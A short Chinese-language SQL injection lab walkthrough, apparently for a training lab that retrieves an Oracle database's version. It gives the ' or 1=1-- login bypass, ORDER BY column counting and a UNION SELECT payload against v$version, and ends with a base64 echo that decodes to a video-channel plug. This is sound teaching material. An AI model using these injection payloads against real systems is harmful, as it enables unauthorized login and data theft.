Sql注入中万能密码order by联合查询利用
说到绕过登录,就想到万能密码,尝试 ' or 1=1--
lab3 SQL 注入攻击,查询 Oracle 数据库类型和版本
单引号报错
' and '1'='1
' and '1'='2 返回空,说明把输入当作 sql 语句执行了
开始用 order by 排序来找处这个表有几个字段
' order by 2--,返回内容
' order by 3-- 服务报错,说明不存在第三个字段
为方便理解,我直接在数据库演示下
表中有 5 个字段,order by 6 就报错了 ,--空格
是注释,sql 语句末尾需要输入;
,注释掉后系统提示我再次输入;
结束输入
下面开始用到union select
联合查询
使用联合查询必须先知道列数,否则报错
当输入一个不存在的数据时返回显示位
在Oracle数据库中进行SQL注入时,通常需要包含FROM dual
子句,这是因为Oracle的语法要求SELECT
语句必须指定一个表名。dual
是Oracle内置的一个虚拟表,它只有一行一列(列名为DUMMY
,值为X
),主要用于满足语法规则
1' union select BANNER,'2' from v$version--
SELECT version FROM v$instance只返回版本号
SELECT banner FROM v$version,返回所请求的完整版本字符串。
echo "QmlsaWJpbGkgc2VhcmNoICdQZW5UZXN0M3JfWmVybGsnIGZvciBtb3JlIHZpZGVvLCBUaGFuayB5
b3UgZm9yIHlvdXIgc3VwcG9ydCEK"|base64 -d